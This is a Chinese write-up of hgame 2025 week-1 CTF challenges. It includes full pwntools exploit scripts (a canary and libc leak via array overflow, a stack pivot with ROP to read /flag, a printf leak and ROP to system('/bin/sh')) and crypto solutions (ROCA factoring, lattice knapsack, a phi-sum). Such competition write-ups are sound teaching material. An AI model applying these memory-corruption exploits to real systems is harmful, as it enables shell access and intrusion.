当前位置: 首页 > news >正文

[hgame 2025 ]week1 pwn/crypto

一共两周,第一周说难也不难说简单也不简单。

pwn

counting petals

数组v7长度17,输入16时v7[16+1]会发生溢出,溢出到v8,v9,将其改大,会输出canary和libc_start_main_ret的地址。第2次进来覆盖到返回地址写上ROP

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')#p = process('./vuln')
#gdb.attach(p, "b*0x555555555535\nc")
p = remote('node1.hgame.vidar.club', 30788)p.sendlineafter(b"time?\n", b'16')
for i in range(15):p.sendlineafter(b" : ", b'0')p.sendlineafter(b" : ", str((0x10<<32)+22).encode())
for i in range(6):p.sendlineafter(b" : ", b'-')p.sendlineafter(b"Reply 1 indicates the former and 2 indicates the latter: ", b'1')
p.recvuntil(b"Let's look at the results.\n")
v = p.recvuntil(b"=", drop=True).decode().split(' + ')
print(v)
libc.address = int(v[18]) - 0x29d90
canary = int(v[16])
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
print(f"{libc.address = :x} {canary = :x}")p.sendlineafter(b"time?\n", b'16')
pay = [0]*15+[(0x10<<32)+22, canary,0,pop_rdi+1,pop_rdi,next(libc.search(b'/bin/sh')), libc.sym['system']]
for i in pay:p.sendlineafter(b" : ", str(i).encode())p.sendlineafter(b"Reply 1 indicates the former and 2 indicates the latter: ", b'1')
p.sendline(b'cat flag')
p.interactive()
#flag{b945024b-f973-497c-30e4-c14722593da5}

ezstack

PIE没开,加载地址已知。溢出正好能覆盖到返回地址。

ssize_t __fastcall vuln(unsigned int a1)
{char buf[80]; // [rsp+10h] [rbp-50h] BYREFprint(a1, &unk_402018);print(a1, "That's all.\n");print(a1, "Good luck.\n");return read(a1, buf, 0x60uLL);
}

先移栈到BSS,再利用0x50的空间写ROP泄露libc再读入后续的ORW

from pwn import *
context(arch='amd64', log_level='debug')#20.04 focal libc-2.31
libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')leave_ret = 0x401426
pop_rdi = 0x0000000000401713 # pop rdi ; ret
pop_rsi = 0x0000000000401711 # pop rsi ; pop r15 ; ret
pop_rbp = 0x000000000040135d # pop rbp ; ret
bss = 0x404800
ret = pop_rdi+1#p = process('./vuln')
p = remote('node2.hgame.vidar.club', 30598)
#p = remote('localhost',9999)
#pause()#移栈到已知地址
pay = flat(b'\0'*0x50, 0x404800, 0x4013d9)
p.sendafter(b"Good luck.\n", pay)#输出got表得到libc
#         -50                       -40                             -30             -20               -10       0
pay = flat(pop_rsi,elf.got['write'],b'/flag\0\0\0',elf.plt['write'],pop_rsi,bss-0x10,0,elf.plt['read'],ret,ret, bss-0x58, leave_ret)
p.sendafter(b"Good luck.\n", pay)libc.address = u64(p.recv(8)) - libc.sym['write']
print(f"{libc.address = :x}")
p.recv(0x58)pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x000000000015fae6 # pop rdx ; pop rbx ; ret
pop_rcx = libc.address + 0x000000000010257e # pop rcx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
save_rdi = libc.address + 0x000000000013b631 # mov qword ptr [rsi], rdi ; ret
save_rax = libc.address + 0x000000000014852a # mov qword ptr [rsi + 0x10], rax ; ret
syscall = libc.sym['getpid']+9#输出fordfd + read
#          -10                  0                           10            20         30                        40
pay2 = flat(pop_rsi, bss-0x100, save_rdi, elf.plt['write'], pop_rdx,0xe0, 0,pop_rsi, bss+0x40, elf.plt['read'],ret,ret)
p.send(pay2)
forkfd = u32(p.recv(4))
print(f"{forkfd = :x}")
p.recv(0x5c)#bbs-100 = socketid
#bbs-f0 = rax
#bss-40 = /flag
#open() + 输出fd + read
#             40                 50                       60          70                80 
pay3 = flat([ pop_rdi, bss-0x40, pop_rsi,0,               pop_rax, 2, syscall,pop_rsi,  bss-0x100, save_rax, 
#             90                 a0                       b0          c0                d0pop_rdi, forkfd,   pop_rsi, bss-0x100+0x10, pop_rdx,8,  0, pop_rax,       1, syscall, 
#             e0                 f0                       100                  110pop_rsi,bss+0x120, pop_rdx, 0x800,          0, pop_rax,          0, syscall])
p.send(pay3)
filefd = u64(p.recv(8))
print(f"{filefd = :x}")#read(filefd, ) + write(forkfd, )
pay4 = flat([pop_rdi, filefd, pop_rsi, bss-0x100, pop_rdx,0x50,0, pop_rax,0, syscall,pop_rdi, forkfd, pop_rax, 1, syscall])
p.send(pay4)p.interactive()

format

可以多次执行printf但每次最多3字符,有个很老的板子 %*c第1个寄存器的指针被输出是个非常大的值,输出被先写入缓冲区再输出。输出大量空格会填充缓冲区,缓冲区后边的指针每次都会重新写入。再次输出%s就会带出libc地址。

另一种方法是多次输入%s.每次会多输出1个点,而且后边又没有\0所以这个串会越来越长,直到连上缓冲区里的指针。大概输出到到0xdb4才行。不过感觉比第1种时间还是短点。那个0x7fxxxxxxx确实是有点大了。只要docker能顶得住就行。

from pwn import *
context(arch='amd64', log_level='error')libc = ELF('./libc.so.6')#p = process('./vuln')
#gdb.attach(p, "b*0x4011ee\nc")
p = remote('node2.hgame.vidar.club', 31824)print('rec...')
p.sendlineafter(b'n = ', b'2')
p.sendlineafter(b"type something:", b'%*c')
p.sendlineafter(b"type something:", b'%s\0')
context.log_level='debug'libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; retp.sendlineafter(b'n = ', str(-8).encode())
#p.sendafter(b"type something:", b'A'*4+flat(0, pop_rdi+1, pop_rdi,next(libc.search(b'/bin/sh')), libc.sym['system']))
p.send(b'A'*5+flat(0, pop_rdi+1, pop_rdi,next(libc.search(b'/bin/sh')), libc.sym['system']))sleep(0.5)
p.sendline(b'cat /flag')
p.interactive()

crypto

suprimeRSA

p = k*M+pow(e,a,M) RSAlib-cve漏洞,这东西原来没见过作起来难成。跟上一题一样,自己想确实比较不能实现。直接用ROCA代码爆破分解就行了。 

from Crypto.Util.number import *
import random
from sympy import primeFLAG=b'hgame{xxxxxxxxxxxxxxxxxx}'
e=0x10001def primorial(num):result = 1for i in range(1, num + 1):result *= prime(i)  #取前num个素数相乘return result
M=primorial(random.choice([39,71,126]))  #39def gen_key():while True:k = getPrime(random.randint(20,40))a = getPrime(random.randint(20,60))p = k * M + pow(e, a, M)if isPrime(p):return pp,q=gen_key(),gen_key()
n=p*q
m=bytes_to_long(FLAG)
enc=pow(m,e,n)print(f'{n=}')
print(f'{enc=}')"""
n=787190064146025392337631797277972559696758830083248285626115725258876808514690830730702705056550628756290183000265129340257928314614351263713241
enc=365164788284364079752299551355267634718233656769290285760796137651769990253028664857272749598268110892426683253579840758552222893644373690398408
"""
#https://asecuritysite.com/encryption/copper
#ROCA 素数生成漏洞
p=954455861490902893457047257515590051179337979243488068132318878264162627
q=824752716083066619280674937934149242011126804999047155998788143116757683
long_to_bytes(int(pow(enc,inverse_mod(e,(p-1)*(q-1)),n)))
#hgame{ROCA_ROCK_and_ROll!}'''
┌──(kali㉿kali)-[~/ctf/2502/roca]
└─$ sage -python roca_attack.py        3%|████▏                                                                                                                           | 2/61 [02:22<1:09:27, 70.64s/it]found factorization:
p=954455861490902893457047257515590051179337979243488068132318878264162627
q=8247527160830666192806749379341492420111268049990471559987881431167576833%|████▏                                                                                                                           | 2/61 [02:55<1:26:12, 87.66s/it]
'''

 这个漏洞的M是前n个素数的积,对于小于960位的是前39个(ROCA用前37个,减小模同样减小爆破范围,可以在60000将左右完成)。不过这题有第1板,没作出来,这是换了附件的。原来的M是5<<128,这个用这个ROCA没效果。现在也不清楚已经出了的8个人怎么弄的。

easyBag

from Crypto.Util.number import *
import random
from Crypto.Cipher import AES
import hashlib
from Crypto.Util.Padding import pad
from secrets import flaglist = []
bag = []
p=random.getrandbits(64)
assert len(bin(p)[2:])==64
for i in range(4):t = pa=[getPrime(32) for _ in range(64)]b=0for i in a:temp=t%2b+=temp*it=t>>1list.append(a)bag.append(b)
print(f'list={list}')
print(f'bag={bag}')key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = pad(flag,16)
ciphertext = cipher.encrypt(flag)
print(f"ciphertext={ciphertext}")

p*A=bag 一个简单的背包问题。不过有个坑,用BKZ才出结果。

'''|           |
|p0 p1 ...|*|a0 a1 a2 a3| = |b0 b1 ...||           |
'''A= matrix(ZZ,list).T
B= matrix(ZZ,bag)
M= block_matrix(ZZ,[[1,A],[0,B]])v = M.BKZ()
a = -1*v[-1]
p = = int(''.join(map(str,a[:-4][::-1])),2)
#17739748707559623655
key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
cipher.decrypt(ciphertext)
#b'hgame{A_S1mple_Modul@r_Subset_Sum_Problem}\x06\x06\x06\x06\x06\x06'

sieve

#sage
from Crypto.Util.number import bytes_to_long
from sympy import nextprimeFLAG = b'hgame{xxxxxxxxxxxxxxxxxxxxxx}'
m = bytes_to_long(FLAG)def trick(k):if k > 1:mul = prod(range(1,k)) if k - mul % k - 1 == 0:return euler_phi(k) + trick(k-1) + 1  #素数 k+trick(k-1)else:return euler_phi(k) + trick(k-1)else:return 1e = 65537
p = q = nextprime(trick(e^2//6)<<128)
n = p * q
enc = pow(m,e,n)
print(f'{enc=}')
#enc=2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546

这个递归函数是运行不了的。里面包含级数级别的重复运算。但也很容易理解,1到n,当值是素数的时候是phi(k)+1也就是k,当是合数的时候就是phi(k)所以就是1-n的sum(phi())+素数的个数。

于是花了很长时间想办法。因为有个提示是二筛。

后来搜OEIS得到phi(n)和的序列,这个没有算法,沿着这搜到a(n)+1也就是这个序列和+1

另一个数素数的个数在sage里有函数prime_pi

#从OEIS查序列
#n以内phi(n)的和a(n) A005728=a(n)+1 Number of fractions in Farey series of order n.AA = {} #优化字典,避免重复查询
def A005728(n):if n == 0:return 1c, j = -2, 2k1 = n//jwhile k1 > 1:j2 = n//k1 + 1if k1 in AA:v = AA[k1]else:v = A005728(k1)AA[k1]=vc += (j2-j)*(2*v-3)j, k1 = j2, n//j2return (n*(n-1)-c+j)//2m = e**2//6
s_phi = A005728(m)
#155763335410704473s_pi = prime_pi(e^2//6) #37030583  sage函数
s = s_phi-1+s_pi
p = next_prime(s<<128)
m = long_to_bytes(int(pow(enc,inverse_mod(e,p*(p-1)),p*p)))
print(m)
#hgame{sieve_is_n0t_that_HArd}

相关文章:

[hgame 2025 ]week1 pwn/crypto

一共两周&#xff0c;第一周说难也不难说简单也不简单。 pwn counting petals 数组v7长度17&#xff0c;输入16时v7[161]会发生溢出&#xff0c;溢出到v8,v9,将其改大&#xff0c;会输出canary和libc_start_main_ret的地址。第2次进来覆盖到返回地址写上ROP from pwn import…...

python 获取smpl身高 fbx身高

目录 python 获取smpl身高 读取fbx,获取fbx mesh身高 python 获取smpl身高 video_segments = pickle.load(open(smpl_pkl_path, "rb"))if isinstance(video_segments, tuple):video_segments = video_segments[0]scene = bpy.data.scenes[Scene]ob, obname, arm_o…...

实战教程:如何利用DeepSeek结合深度学习与NLP技术实现跨模态搜索与个性化推荐

跨模态搜索与个性化推荐是当前人工智能领域中的热门话题,DeepSeek作为结合深度学习与自然语言处理(NLP)技术的创新平台,提供了在多模态数据间进行搜索与推荐的强大能力。本教程将带你一步步实现基于DeepSeek的跨模态搜索和个性化推荐,详细讲解整个过程的实现方法,从数据准…...

计算机毕业设计Python+卷积神经网络租房推荐系统 租房大屏可视化 租房爬虫 hadoop spark 58同城租房爬虫 房源推荐系统

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…...

目标检测模型性能评估:mAP50、mAP50-95、Precision 和 Recall 及测试集质量的重要性

目标检测评估全解析&#xff1a;从核心指标到高质量测试集构建 目标检测技术在计算机视觉领域发挥着至关重要的作用&#xff0c;无论是自动驾驶、安防监控&#xff0c;还是医学影像处理&#xff0c;目标检测算法的性能评估都需要依赖一系列精确且科学的评估指标。而测试集的构建…...

AnyPlace:学习机器人操作的泛化目标放置

25年2月来自多伦多大学、Vector Inst、上海交大等机构的论文“AnyPlace: Learning Generalized Object Placement for Robot Manipulation”。 由于目标几何形状和放置的配置多种多样&#xff0c;因此在机器人任务中放置目标本身就具有挑战性。为了解决这个问题&#xff0c;An…...

2025icpc(Ⅱ)网络赛补题 GL

题意&#xff1a; 给定Alice和Bob的每一轮的概率p0,p1 给定Alice和Bob的初始数字x,y。 对于每一轮&#xff1a; 如果Alice获胜&#xff0c;则bob的数字y需要减去x。&#xff08;如果y≤0&#xff0c;Alice获胜&#xff09;如果Bob获胜&#xff0c;则Alice的数字x需要减去y。…...

51c大模型~合集112

我自己的原文哦~ https://blog.51cto.com/whaosoft/13267449 #Guidance-Free Training (GFT) 无需引导采样&#xff0c;清华大学提出视觉模型训练新范式 引导采样 Classifier-Free Guidance&#xff08;CFG&#xff09;一直以来都是视觉生成模型中的关键技术。然而最近&am…...

Rust 文件读取:实现我们的 “迷你 grep”

1. 准备示例文件 首先&#xff0c;在项目根目录&#xff08;与 Cargo.toml 同级&#xff09;下新建一个名为 poem.txt 的文件。示例内容可参考 Emily Dickinson 的诗&#xff1a; Im nobody! Who are you? Are you nobody, too? Then theres a pair of us — dont tell! Th…...

【Unity3D】Jenkins Pipeline流水线自动构建Apk

目录 一、准备阶段 二、创建Pipeline流水线项目 三、注意事项 一、准备阶段 1、安装tomcat 10.0.5 Index of apache-local/tomcat/tomcat-10 2、安装jdk 17 Java Archive Downloads - Java SE 17.0.13 and later 3、下载Jenkins 2.492.1 (.war)包 War Jenkins Packa…...

信息收集-Web应用备案产权Whois反查域名枚举DNS记录证书特征相似查询

知识点&#xff1a; 1、信息收集-Web应用-机构产权&域名相关性 2、信息收集-Web应用-DNS&证书&枚举子域名 企业信息 天眼查 https://www.tianyancha.com/ 企业信息 小蓝本 https://www.xiaolanben.com/ 企业信息 爱企查 https://aiqicha.baidu.com/ 企业信息 企查…...

结合实际讲NR系列2—— SIB1

这是在基站抓取的sib1的一条信令 L3MessageContent BCCH-DL-SCH-Messagemessagec1systemInformationBlockType1cellSelectionInfoq-RxLevMin: -64q-QualMin: -19cellAccessRelatedInfoplmn-IdentityListPLMN-IdentityInfoplmn-IdentityListPLMN-IdentitymccMCC-MNC-Digit: 4MC…...

绿虫仿真软件如何预测组件衰减对收益的影响?

绿虫仿真软件通过其精细化的算法模型&#xff0c;能够有效预测组件衰减对光伏电站收益的影响&#xff0c;主要体现在以下几个方面&#xff1a; 1. 数据基础与模型构建 历史数据分析&#xff1a;绿虫软件整合了长达20年的历史数据&#xff0c;涵盖气象、地理、组件型号、逆变器…...

本地部署DeepSeek集成VSCode创建自己的AI助手

文章目录 安装Ollama和CodeGPT安装Ollama安装CodeGPT 下载并配置DeepSeek模型下载聊天模型&#xff08;deepseek-r1:1.5b&#xff09;下载自动补全模型&#xff08;deepseek-coder:1.3b&#xff09; 使用DeepSeek进行编程辅助配置CodeGPT使用DeepSeek模型开始使用AI助手 ✍️相…...

07贪心 + 动态规划(D1_基础学习)

目录 讲解一&#xff1a;贪心算法 一、什么是贪心算法&#xff1f; 二、贪心算法的应用场景 三、使用Java代码实现贪心算法 四、知识小结 -------------------------------- 讲解二&#xff1a;动态规划算法 一、什么是动态规划算法 二、动态规划算法求解问题需要具备的…...

redis之数据库

文章目录 服务器中的数据库切换数据库数据库键空间读写键空间时的维护操作 设置键的生存时间或过期时间保存过期时间过期键的判定过期键删除策略清性删除策略的实现定期删除策略的实现 总结 服务器中的数据库 Redis服务器将所有数据库都保存在服务器状态redis.h/redisServer结…...

【竞技宝】电竞世界杯:无畏契约首次入选正式项目!

北京时间2月12日&#xff0c;电竞世界杯基金会&#xff08;EWCF&#xff09;与知名游戏开发商拳头游戏&#xff08;Riot Games&#xff09;在近日共同宣布达成三年合作伙伴关系。同时&#xff0c;三大顶级电竞项目——《英雄联盟》《英雄联盟&#xff1a;云顶之弈》&#xff08…...

Golang GORM系列:GORM 高级查询教程

有效的数据检索是任何程序功能的基础。健壮的Go对象关系映射包&#xff08;称为GORM&#xff09;除了标准的CRUD操作之外&#xff0c;还提供了复杂的查询功能。这是学习如何使用GORM进行高级查询的综合资源。我们将涵盖WHERE条件、连接、关联、预加载相关数据&#xff0c;甚至涉…...

智能GUI Agent是什么,有什么应用领域

智能GUI Agent是什么 研究背景与目的:GUI长期主导人机交互,LLM特别是多模态模型的出现,为GUI自动化带来变革,催生了基于LLM的GUI智能体。这些智能体可理解自然语言指令,处理复杂GUI元素并执行操作,改变了用户与软件交互方式。论文旨在梳理该领域发展脉络,剖析关键要素,…...

k8s优雅操作pod容器组

k8s优雅操作pod容器组 回退备份 kubectl get deploy deployName -o yaml>>deployName-bak-date "%Y-%m-%d".yaml获取副本数 replicasecho | kubectl get -o template deploy/deployName --template{{.spec.replicas}}停止容器组 kubectl scale deployment …...

CSP信奥赛C++常用系统函数汇总

# CSP信奥赛C常用系统函数汇总## 一、输入输出函数### 1. cin / cout&#xff08;<iostream>&#xff09; cpp int x; cin >> x; // 输入 cout << x << endl;// 输出 优化&#xff1a;ios::sync_with_stdio(false); 可提升速度 2. scanf() /…...

Ansys Maxwell:线圈和磁体的静磁 3D 分析

本博客展示了如何在 Ansys Maxwell 中执行静磁 3D 分析&#xff0c;以计算载流线圈和永磁体之间相互作用产生的扭矩。在这个例子中&#xff0c;线圈中的电流产生一个沿 Y 轴指向的磁场&#xff0c;而永磁体沿 X 轴被磁化。这种配置导致围绕 Z 轴的扭矩。分步工作流程包括构建几…...

Linux 进程管理学习指南:架构、计划与关键问题全解

Linux 进程管理学习指南&#xff1a;架构、计划与关键问题全解 本文面向初学者&#xff0c;旨在帮助你从架构视角理解 Linux 进程管理子系统&#xff0c;构建系统化学习路径&#xff0c;并通过结构化笔记方法与典型问题总结&#xff0c;夯实基础、明确方向&#xff0c;逐步掌握…...

Fetch API 使用详解:Bearer Token 与 localStorage 实践

Fetch API&#xff1a;现代浏览器内置的用于发送 HTTP 请求的 API&#xff0c;Bearer Token&#xff1a;一种基于令牌的身份验证方案&#xff0c;常用于 JWT 认证&#xff0c;localStorage&#xff1a;浏览器提供的持久化存储方案&#xff0c;用于在客户端存储数据。 token是我…...

Kotlin REPL初探

文章目录 1. Kotlin REPL 简介2. 在命令行中玩Kotlin REPL2.1 下载Kotlin编译器压缩包2.2 安装配置Kotlin编译器2.3 启动Kotlin交互式环境2.4 在命令行玩Kotlin REPL 3. 在IDEA里玩Kotlin REPL3.1 打开Kotlin REPL窗口3.2 在Kotlin REPL窗口玩代码 4. Kotlin REPL 的优势 1. Ko…...

three.js 零基础到入门

three.js 零基础到入门 什么是 three.js为什么使用 three.js使用 Three.js1. 创建场景示例 2.创建相机3. 创建立方体并添加网格地面示例 5. 创建渲染器示例 6. 添加效果(移动/雾/相机跟随物体/背景)自动旋转示例效果 相机自动旋转示例 展示效果 实现由远到近的雾示例展示效果 T…...

PublishSubject、ReplaySubject、BehaviorSubject、AsyncSubject的区别

python容易编辑&#xff0c;因此用pyrx代替rxjava3做演示会比较快捷。 pyrx安装命令&#xff1a; pip install rx 一、Subject&#xff08;相当于 RxJava 的 PublishSubject&#xff09; PublishSubject PublishSubject 将对观察者发送订阅后产生的元素&#xff0c;而在订阅前…...

附加模块--Qt OpenGL模块功能及架构

一、模块功能&#xff1a; 主要变化 Qt OpenGL 模块的分离&#xff1a; 在 Qt 6 中&#xff0c;原来的 Qt OpenGL 功能被拆分为多个模块 传统的 Qt OpenGL 模块 (QGL*) 已被标记为废弃 新的图形架构&#xff1a; Qt 6 引入了基于 QRhi (Qt Rendering Hardware Interface) 的…...

HarmonyOS:如何在启动框架中初始化HMRouter

应用启动时通常需要执行一系列初始化启动任务&#xff0c;如果将启动任务都放在应用主模块&#xff08;即entry类型的Module&#xff09;的UIAbility组件的onCreate生命周期中&#xff0c;那么只能在主线程中依次执行&#xff0c;不但影响应用的启动速度&#xff0c;而且当启动…...

Git 常见操作

目录 1.git stash 2.合并多个commit 3. git commit -amend (后悔药) 4.版本回退 5.merge和rebase 6.cherry pick 7.分支 8.alias 1.git stash git-stash操作_git stash 怎么增加更改内容-CSDN博客 2.合并多个commit 通过git bash工具交互式操作。 1.查询commit的c…...